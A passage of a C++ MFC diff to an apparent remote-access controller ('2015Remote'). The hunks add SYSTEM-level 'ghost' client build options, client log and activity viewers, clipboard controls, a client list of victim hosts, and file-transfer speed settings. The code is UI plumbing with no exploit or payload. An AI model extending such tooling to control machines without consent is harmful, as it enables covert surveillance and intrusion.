is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||
break;
|
||||
case OTHER_ITEM: {
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
||||
m_OtherItem.GetWindowTextA(file);
|
||||
@@ -801,6 +819,8 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
||||
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
||||
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
|
||||
m_ComboExe.InsertStringL(IndexGhostSystem, "ghost - SYSTEM");
|
||||
m_ComboExe.InsertStringL(IndexTestRunSystem, "TestRun - SYSTEM");
|
||||
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
||||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||||
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
// CActivityDialog.cpp: 历史活动展示对话框(一次性快照,无子连接)
|
||||
#include "stdafx.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CActivityDialog.h"
|
||||
#include "resource.h"
|
||||
#include "../../common/commands.h"
|
||||
|
||||
IMPLEMENT_DYNAMIC(CActivityDialog, CDialogEx)
|
||||
|
||||
CActivityDialog::CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
|
||||
: CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
|
||||
{
|
||||
}
|
||||
|
||||
CActivityDialog::~CActivityDialog()
|
||||
{
|
||||
}
|
||||
|
||||
void CActivityDialog::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogBase::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CActivityDialog, CDialogBase)
|
||||
ON_WM_SIZE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CActivityDialog::OnInitDialog()
|
||||
{
|
||||
CDialogBase::OnInitDialog();
|
||||
SetWindowText(_TR("历史活动") + " - " + m_IPAddress);
|
||||
HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
|
||||
SetIcon(hIcon, TRUE);
|
||||
SetIcon(hIcon, FALSE);
|
||||
// 用 Segoe UI:MBCS 工程里模板默认字体是 Microsoft Sans Serif(无 Dingbats 字形),
|
||||
// 显式指定 Segoe UI,中文走字体链接到微软雅黑、Dingbats(✻/✦)走 Segoe UI Symbol 回退。
|
||||
m_font.CreatePointFont(90, _T("Segoe UI"));
|
||||
m_editLog.SetFont(&m_font);
|
||||
// 重建为 Unicode 编辑框:这是 ✻/✦ 能正确显示的关键。重建时已保留上面的字体。
|
||||
RebuildEdit(m_editLog);
|
||||
// 解除 EDIT 控件默认约 64KB 长度上限,否则大快照经 SetWindowTextW 会被静默截断。
|
||||
m_editLog.SetLimitText(0);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CActivityDialog::RebuildEdit(CEdit& m_edit)
|
||||
{
|
||||
CRect rc;
|
||||
m_edit.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
DWORD style = m_edit.GetStyle();
|
||||
DWORD exStyle = m_edit.GetExStyle();
|
||||
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||
m_edit.DestroyWindow();
|
||||
HWND hEdit = ::CreateWindowExW(
|
||||
exStyle, L"EDIT", L"", style,
|
||||
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||
AfxGetInstanceHandle(), NULL);
|
||||
m_edit.Attach(hEdit);
|
||||
if (hFont)
|
||||
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
}
|
||||
|
||||
void CActivityDialog::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialogBase::OnSize(nType, cx, cy);
|
||||
if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
|
||||
m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
|
||||
}
|
||||
|
||||
// 快照模式:无子连接,OnReceiveComplete 空实现(纯虚函数必须覆盖)
|
||||
void CActivityDialog::OnReceiveComplete()
|
||||
{
|
||||
}
|
||||
|
||||
void CActivityDialog::AppendLog(const std::string& text)
|
||||
{
|
||||
if (text.empty()) return;
|
||||
|
||||
// \n → \r\n,Windows 编辑框换行需要 \r\n
|
||||
std::string norm;
|
||||
norm.reserve(text.size() + 64);
|
||||
for (size_t i = 0; i < text.size(); ++i) {
|
||||
if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
|
||||
norm += '\r';
|
||||
norm += text[i];
|
||||
}
|
||||
|
||||
// 服务端是 MBCS 工程,编辑框走 A 接口会把 UTF-8 中文当 ANSI 处理导致乱码;
|
||||
// 与"活动窗口"列一致,用 W 接口显示:先把 UTF-8 转成宽字符,再走 WM_SETTEXTW 写入。
|
||||
// (编辑框已在 OnInitDialog 中重建为 Unicode 窗口,SetWindowTextW 不会经过 CP_ACP 回转。)
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), NULL, 0);
|
||||
if (wlen <= 0) return;
|
||||
std::wstring w(wlen, L'\0');
|
||||
MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), &w[0], wlen);
|
||||
::SetWindowTextW(m_editLog.GetSafeHwnd(), w.c_str());
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
class CActivityDialog : public CDialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CActivityDialog)
|
||||
|
||||
public:
|
||||
CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
|
||||
virtual ~CActivityDialog();
|
||||
|
||||
virtual void OnReceiveComplete();
|
||||
void AppendLog(const std::string& text);
|
||||
|
||||
protected:
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
// 把编辑框重建为 Unicode 类窗口(同 CKeyBoardDlg::RebuildEdit)。
|
||||
// 工程是 MBCS,对话框模板创建的是 ANSI 编辑框,SetWindowTextW 会在 W->A
|
||||
// 边界用 CP_ACP 转码,Dingbats(✻/✦)等字符会变 ?。重建为 Unicode 后
|
||||
// W 版消息直通,不再走 CP_ACP。
|
||||
void RebuildEdit(CEdit& m_edit);
|
||||
|
||||
CEdit m_editLog;
|
||||
CFont m_font; // 编辑框字体(成员持有,随对话框销毁,避免堆泄漏)
|
||||
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_CLIENT_LOG };
|
||||
#endif
|
||||
};
|
||||
@@ -5,6 +5,7 @@
|
||||
#include "afxdialogex.h"
|
||||
#include "CClientListDlg.h"
|
||||
#include "2015Remote.h"
|
||||
#include <string>
|
||||
|
||||
|
||||
// CClientListDlg 对话框
|
||||
@@ -93,6 +94,27 @@ static CString GetFieldValue(const ClientValue& val, GroupField field)
|
||||
}
|
||||
}
|
||||
|
||||
// 程序路径与地理位置均以 UTF-8 存储(见 AddList / client 的 RES_FILE_PATH、RES_CLIENT_LOC),
|
||||
// 这里用 LVM_SETITEMTEXTW 直接写宽字符串,绕开 ANSI→CP_ACP 回转,
|
||||
// 即使服务端运行在非中文 ACP(如德语)上,中文/带变音符的文本也能正常显示(与窗口/进程管理同法)。
|
||||
static void SetUtf8ItemText(CListCtrl& list, int iItem, int iSubItem, const char* sz)
|
||||
{
|
||||
std::wstring w;
|
||||
if (sz && sz[0]) {
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, sz, -1, NULL, 0);
|
||||
if (wlen > 1) {
|
||||
w.resize(wlen - 1);
|
||||
MultiByteToWideChar(CP_UTF8, 0, sz, -1, &w[0], wlen);
|
||||
}
|
||||
}
|
||||
LVITEMW lv = {};
|
||||
lv.mask = LVIF_TEXT;
|
||||
lv.iItem = iItem;
|
||||
lv.iSubItem = iSubItem;
|
||||
lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
|
||||
::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
|
||||
}
|
||||
|
||||
// 比较两个客户端的指定列,返回 <0, 0, >0
|
||||
static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a,
|
||||
const std::pair<ClientKey, ClientValue>& b,
|
||||
@@ -288,18 +310,18 @@ void CClientListDlg::DisplayClients()
|
||||
CString strLevel;
|
||||
strLevel.FormatL(_T("%d"), val.Level);
|
||||
|
||||
CString strAuth = val.Authorized ? _T("Y") : _T("N");
|
||||
CString strAuth = (val.Authorized == AUTHED_BY_SUPER || val.Authorized == AUTHED_BY_ADMIN)? _T("Y") : _T("N");
|
||||
|
||||
nItem = m_ClientList.InsertItem(nRow, strNo);
|
||||
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
||||
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
|
||||
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
|
||||
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
|
||||
SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
|
||||
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
|
||||
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
|
||||
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
|
||||
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
|
||||
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
|
||||
SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
|
||||
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
|
||||
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
|
||||
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
|
||||
@@ -340,18 +362,18 @@ void CClientListDlg::DisplayClients()
|
||||
CString strLevel;
|
||||
strLevel.FormatL(_T("%d"), val.Level);
|
||||
|
||||
CString strAuth = val.Authorized ? _T("Y") : _T("N");
|
||||
CString strAuth = (val.Authorized == AUTHED_BY_SUPER || val.Authorized == AUTHED_BY_ADMIN) ? _T("Y") : _T("N");
|
||||
|
||||
nItem = m_ClientList.InsertItem(nRow, strSubNo);
|
||||
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
||||
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
|
||||
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
|
||||
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
|
||||
SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
|
||||
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
|
||||
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
|
||||
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
|
||||
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
|
||||
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
|
||||
SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
|
||||
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
|
||||
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
|
||||
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
// CClientLog.cpp: 实现文件
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CClientLog.h"
|
||||
#include "resource.h"
|
||||
#include "../../common/commands.h"
|
||||
|
||||
|
||||
IMPLEMENT_DYNAMIC(CClientLog, CDialogEx)
|
||||
|
||||
CClientLog::CClientLog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
|
||||
: CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
|
||||
{
|
||||
}
|
||||
|
||||
CClientLog::~CClientLog()
|
||||
{
|
||||
}
|
||||
|
||||
void CClientLog::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogBase::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CClientLog, CDialogBase)
|
||||
ON_WM_DESTROY()
|
||||
ON_WM_SIZE()
|
||||
ON_MESSAGE(WM_REPORT_CLIENT_LOG, OnReportLog)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CClientLog::OnInitDialog()
|
||||
{
|
||||
CDialogBase::OnInitDialog();
|
||||
SetWindowText(_TR("客户端日志") + " - " + m_IPAddress);
|
||||
HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
|
||||
SetIcon(hIcon, TRUE);
|
||||
SetIcon(hIcon, FALSE);
|
||||
m_font.CreatePointFont(85, _T("Consolas"));
|
||||
m_editLog.SetFont(&m_font);
|
||||
m_editLog.SetLimitText(0); // 解除 EDIT 控件默认长度上限,改由 AppendLog 的 512KB 逻辑管理
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CClientLog::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialogBase::OnSize(nType, cx, cy);
|
||||
if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
|
||||
m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
|
||||
}
|
||||
|
||||
void CClientLog::OnDestroy()
|
||||
{
|
||||
if (m_ContextObject && m_bConnected) {
|
||||
BYTE cmd = COMMAND_BYE;
|
||||
m_ContextObject->Send2Client(&cmd, 1);
|
||||
}
|
||||
CDialogBase::OnDestroy();
|
||||
}
|
||||
|
||||
void CClientLog::AppendLog(const std::string& text)
|
||||
{
|
||||
if (text.empty()) return;
|
||||
// \n → \r\n,Windows 编辑框换行需要 \r\n
|
||||
std::string norm;
|
||||
norm.reserve(text.size() + 64);
|
||||
for (size_t i = 0; i < text.size(); ++i) {
|
||||
if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
|
||||
norm += '\r';
|
||||
norm += text[i];
|
||||
}
|
||||
// 超过 512KB 时截断旧内容
|
||||
int existing = m_editLog.GetWindowTextLength();
|
||||
if (existing > 512 * 1024) {
|
||||
CString cur;
|
||||
m_editLog.GetWindowText(cur);
|
||||
m_editLog.SetWindowText(cur.Mid(cur.GetLength() - 256 * 1024));
|
||||
}
|
||||
// 追加到末尾并滚动
|
||||
CString add = CA2T(norm.c_str(), CP_UTF8);
|
||||
m_editLog.SetSel(-1, -1);
|
||||
m_editLog.ReplaceSel(add);
|
||||
m_editLog.SendMessage(EM_SCROLLCARET);
|
||||
}
|
||||
|
||||
void CClientLog::OnReceiveComplete()
|
||||
{
|
||||
auto& buf = m_ContextObject->InDeCompressedBuffer;
|
||||
if (buf.GetBYTE(0) != TOKEN_REPORT_LOG)
|
||||
return;
|
||||
unsigned len = buf.GetBufferLen();
|
||||
auto* pText = new std::string((char*)(buf.GetBuffer() + 1), len > 1 ? len - 1 : 0);
|
||||
if (!PostMessage(WM_REPORT_CLIENT_LOG, 0, (LPARAM)pText))
|
||||
delete pText;
|
||||
}
|
||||
|
||||
LRESULT CClientLog::OnReportLog(WPARAM /*wParam*/, LPARAM lParam)
|
||||
{
|
||||
std::string* pText = reinterpret_cast<std::string*>(lParam);
|
||||
if (pText) {
|
||||
AppendLog(*pText);
|
||||
delete pText;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
class CClientLog : public CDialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CClientLog)
|
||||
|
||||
public:
|
||||
CClientLog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
|
||||
virtual ~CClientLog();
|
||||
|
||||
virtual void OnReceiveComplete();
|
||||
void AppendLog(const std::string& text);
|
||||
|
||||
protected:
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
afx_msg void OnDestroy();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg LRESULT OnReportLog(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
CEdit m_editLog;
|
||||
CFont m_font;
|
||||
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_CLIENT_LOG };
|
||||
#endif
|
||||
};
|
||||
@@ -151,6 +151,54 @@ void CDlgFileSend::UpdateProgress(CString file, const FileProgressInfo& info)
|
||||
PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info));
|
||||
}
|
||||
|
||||
// 将字节/秒格式化为人类可读的速度串(如 "5.3M/s"、"320K/s"、"800B/s")
|
||||
static CStringW FormatSpeed(double bps)
|
||||
{
|
||||
CStringW s;
|
||||
if (bps >= 1024.0 * 1024.0)
|
||||
s.Format(L"%.1fM/s", bps / (1024.0 * 1024.0));
|
||||
else if (bps >= 1024.0)
|
||||
s.Format(L"%.0fK/s", bps / 1024.0);
|
||||
else
|
||||
s.Format(L"%.0fB/s", bps);
|
||||
return s;
|
||||
}
|
||||
|
||||
// 累计字节并周期性刷新标题中的速度(如 "发送文件 - 5.3M/s")
|
||||
void CDlgFileSend::UpdateTitleWithSpeed(uint64_t dataLength)
|
||||
{
|
||||
m_ullTotalBytes += dataLength;
|
||||
ULONGLONG now = GetTickCount64();
|
||||
|
||||
// 首帧:用 Unicode API 捕获当前标题作为基础部分(可能已被 V2/C2C 覆盖为 "接收文件 (V2)" 等),
|
||||
// 并建立采样基准;此时尚无速度可显示。
|
||||
if (!m_bBaseTitleCaptured) {
|
||||
WCHAR wBase[128] = { 0 };
|
||||
::GetWindowTextW(m_hWnd, wBase, 128);
|
||||
m_strBaseTitle = wBase;
|
||||
m_bBaseTitleCaptured = true;
|
||||
m_ullLastTick = now;
|
||||
m_ullLastBytes = m_ullTotalBytes;
|
||||
return;
|
||||
}
|
||||
|
||||
ULONGLONG dt = now - m_ullLastTick;
|
||||
if (dt < 200) return; // 采样间隔未到,仅累积字节
|
||||
|
||||
uint64_t delta = m_ullTotalBytes - m_ullLastBytes;
|
||||
double speed = dt ? (double)delta * 1000.0 / (double)dt : 0.0;
|
||||
m_dSpeedBps = (m_dSpeedBps == 0.0) ? speed : m_dSpeedBps * 0.6 + speed * 0.4; // 轻度平滑
|
||||
|
||||
m_ullLastTick = now;
|
||||
m_ullLastBytes = m_ullTotalBytes;
|
||||
|
||||
// 基础标题(Unicode)+ ASCII 速度后缀,全程 Unicode API,避免非中文系统上 ANSI 消息按系统 ACP 解码乱码
|
||||
CStringW title = m_strBaseTitle;
|
||||
title += L" - ";
|
||||
title += FormatSpeed(m_dSpeedBps);
|
||||
::SetWindowTextW(m_hWnd, title);
|
||||
}
|
||||
|
||||
void CDlgFileSend::FinishFileSend(BOOL succeed)
|
||||
{
|
||||
if (!GetSafeHwnd()) return;
|
||||
@@ -170,6 +218,7 @@ LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam)
|
||||
SetDlgItemText(IDC_STATIC_CURRENTINDEX, status);
|
||||
SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile);
|
||||
m_Progress.SetPos((int)percent);
|
||||
UpdateTitleWithSpeed(pInfo->dataLength);
|
||||
|
||||
// 只在第一次显示时置顶,后续更新不抢焦点
|
||||
if (!IsWindowVisible()) {
|
||||
|
||||
@@ -51,6 +51,14 @@ public:
|
||||
BOOL m_bTargetOffline = FALSE; // C2C目标已离线,已发送取消包
|
||||
enum { IDD = IDD_DIALOG_FILESEND };
|
||||
|
||||
// 传输速度统计(用于标题实时显示速度,如 "发送文件 - 5.3M/s")
|
||||
CStringW m_strBaseTitle; // 标题基础部分("发送文件"/"接收文件 (V2)" 等,Unicode),首帧进度时捕获
|
||||
bool m_bBaseTitleCaptured = false;
|
||||
uint64_t m_ullTotalBytes = 0; // 累计传输字节
|
||||
uint64_t m_ullLastBytes = 0;
|
||||
ULONGLONG m_ullLastTick = 0; // 上次速度采样时刻 (ms)
|
||||
double m_dSpeedBps = 0.0; // 平滑后的速度 (B/s)
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
@@ -59,6 +67,8 @@ protected:
|
||||
afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
void UpdateTitleWithSpeed(uint64_t dataLength); // 累计字节并周期性刷新标题速度
|
||||
|
||||
public:
|
||||
CProgressCtrl m_Progress;
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
@@ -0,0 +1,133 @@
|
||||
// CFileSpeedDlg.h
|
||||
// 文件传输速度调节对话框:拖动滑块选档位,实时显示预估速度。
|
||||
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::OnFileTransferSpeed() 负责。
|
||||
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现 + 消息映射,勿多处包含)。
|
||||
#pragma once
|
||||
|
||||
#include "LangManager.h"
|
||||
#include <afxcmn.h>
|
||||
|
||||
// 档位表(权威来源:docs/FileTransferSpeed_Design.md §3)。
|
||||
// chunkKb * 1024 / durationMs 即理论字节/秒;durationMs==0 表示不人为限速。
|
||||
struct FileSpeedTier { int chunkKb; int durMs; const TCHAR* name; };
|
||||
|
||||
static const FileSpeedTier kFileSpeedTiers[] = {
|
||||
{ 64, 200, _T("最慢") }, // ≈0.31 MB/s
|
||||
{ 64, 100, _T("慢") }, // ≈0.63 MB/s
|
||||
{ 64, 50, _T("默认") }, // ≈1.25 MB/s
|
||||
{ 128, 50, _T("快") }, // ≈2.5 MB/s
|
||||
{ 256, 50, _T("更快") }, // ≈5 MB/s
|
||||
{ 512, 50, _T("很快") }, // ≈10 MB/s
|
||||
{ 1024, 0, _T("不限速") }, // 网络上限
|
||||
};
|
||||
#define FILE_SPEED_TIER_COUNT 7
|
||||
#define FILE_SPEED_DEFAULT_TIER 2 // 默认档位
|
||||
|
||||
class CFileSpeedDlg : public CDialog
|
||||
{
|
||||
public:
|
||||
enum { IDD = IDD_FILE_SPEED };
|
||||
|
||||
CFileSpeedDlg(int chunkKb, int durMs, CWnd* pParent = NULL)
|
||||
: CDialog(CFileSpeedDlg::IDD, pParent), m_chunkKb(chunkKb), m_durMs(durMs)
|
||||
{
|
||||
}
|
||||
|
||||
int GetChunkKb() const { return m_chunkKb; }
|
||||
int GetDurMs() const { return m_durMs; }
|
||||
|
||||
protected:
|
||||
int m_chunkKb;
|
||||
int m_durMs;
|
||||
|
||||
static int TierIndexFor(int chunkKb, int durMs)
|
||||
{
|
||||
for (int i = 0; i < FILE_SPEED_TIER_COUNT; i++)
|
||||
if (kFileSpeedTiers[i].chunkKb == chunkKb && kFileSpeedTiers[i].durMs == durMs)
|
||||
return i;
|
||||
return FILE_SPEED_DEFAULT_TIER; // 未知值回落默认
|
||||
}
|
||||
|
||||
static void FormatSpeed(int idx, CString& out)
|
||||
{
|
||||
const FileSpeedTier& t = kFileSpeedTiers[idx];
|
||||
// 档位名与格式串经 _TR/_LF 走多语言表(LangManager),语言文件以中文原文为 key。
|
||||
if (t.durMs <= 0) {
|
||||
out.FormatL(_T("%s · 不受限速(受网络带宽约束)"), _LF(t.name));
|
||||
return;
|
||||
}
|
||||
double mbps = (double)t.chunkKb * 1024.0 / (t.durMs / 1000.0) / (1024.0 * 1024.0);
|
||||
out.FormatL(_T("%s · 约 %.2f MB/s"), _LF(t.name), mbps);
|
||||
}
|
||||
|
||||
int GetSliderPos()
|
||||
{
|
||||
int pos = (int)SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_GETPOS, 0, 0);
|
||||
if (pos < 0) pos = 0;
|
||||
if (pos >= FILE_SPEED_TIER_COUNT) pos = FILE_SPEED_TIER_COUNT - 1;
|
||||
return pos;
|
||||
}
|
||||
|
||||
void UpdateLabel()
|
||||
{
|
||||
CString s;
|
||||
FormatSpeed(GetSliderPos(), s);
|
||||
SetDlgItemText(IDC_FSPEED_LABEL, s);
|
||||
}
|
||||
|
||||
virtual BOOL OnInitDialog() override
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?",TranslateDialog
|
||||
// 拿到的是已乱码文本无法还原,故在此显式设置(参照 NotifySettingsDlg)。
|
||||
// 均经 _TR 支持多语言翻译。
|
||||
SetWindowText(_TR("文件传输速度"));
|
||||
SetDlgItemText(IDC_FSPEED_HINT, _TR("拖动滑块设置文件传输速度:"));
|
||||
SetDlgItemText(IDC_FSPEED_LABEL_SLOWEST, _TR("最慢"));
|
||||
SetDlgItemText(IDC_FSPEED_LABEL_DEFAULT, _TR("默认"));
|
||||
SetDlgItemText(IDC_FSPEED_LABEL_UNLIMITED, _TR("不限速"));
|
||||
SetDlgItemText(IDC_FSPEED_RESET, _TR("恢复默认"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
|
||||
MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETTICFREQ, 0, 1);
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
|
||||
|
||||
UpdateLabel();
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
virtual void OnOK() override
|
||||
{
|
||||
int idx = GetSliderPos();
|
||||
m_chunkKb = kFileSpeedTiers[idx].chunkKb;
|
||||
m_durMs = kFileSpeedTiers[idx].durMs;
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||||
{
|
||||
(void)nSBCode; (void)nPos; (void)pScrollBar;
|
||||
UpdateLabel(); // 拖动过程中实时刷新预估速度
|
||||
}
|
||||
|
||||
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
|
||||
{
|
||||
if (LOWORD(wParam) == IDC_FSPEED_RESET && HIWORD(wParam) == BN_CLICKED) {
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, FILE_SPEED_DEFAULT_TIER);
|
||||
UpdateLabel();
|
||||
return TRUE;
|
||||
}
|
||||
return CDialog::OnCommand(wParam, lParam);
|
||||
}
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileSpeedDlg, CDialog)
|
||||
ON_WM_HSCROLL()
|
||||
END_MESSAGE_MAP()
|
||||
@@ -551,6 +551,18 @@ void CIconButton::DrawIconLetterZ(CDC* pDC, const CRect& rc)
|
||||
DrawLetterIcon(pDC, rc, _T("Z"));
|
||||
}
|
||||
|
||||
// Letter C icon (获取剪贴板)
|
||||
void CIconButton::DrawIconLetterC(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
DrawLetterIcon(pDC, rc, _T("C"));
|
||||
}
|
||||
|
||||
// Letter P icon (设置剪贴板)
|
||||
void CIconButton::DrawIconLetterP(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
DrawLetterIcon(pDC, rc, _T("P"));
|
||||
}
|
||||
|
||||
// Audio On: speaker with sound waves
|
||||
void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
|
||||
{
|
||||
|
||||
@@ -46,6 +46,8 @@ public:
|
||||
static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标
|
||||
static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标
|
||||
static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标
|
||||
static void DrawIconLetterC(CDC* pDC, const CRect& rc); // 字母 C 图标 (获取剪贴板)
|
||||
static void DrawIconLetterP(CDC* pDC, const CRect& rc); // 字母 P 图标 (设置剪贴板)
|
||||
static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波)
|
||||
static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
|
||||
|
||||
|
||||
@@ -250,7 +250,7 @@ bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string&
|
||||
}
|
||||
|
||||
// IP 列表管理常量
|
||||
#define MAX_IP_HISTORY 500 // 最多保留 几 个不同的 IP
|
||||
#define MAX_IP_HISTORY 1000 // 最多保留 几 个不同的 IP
|
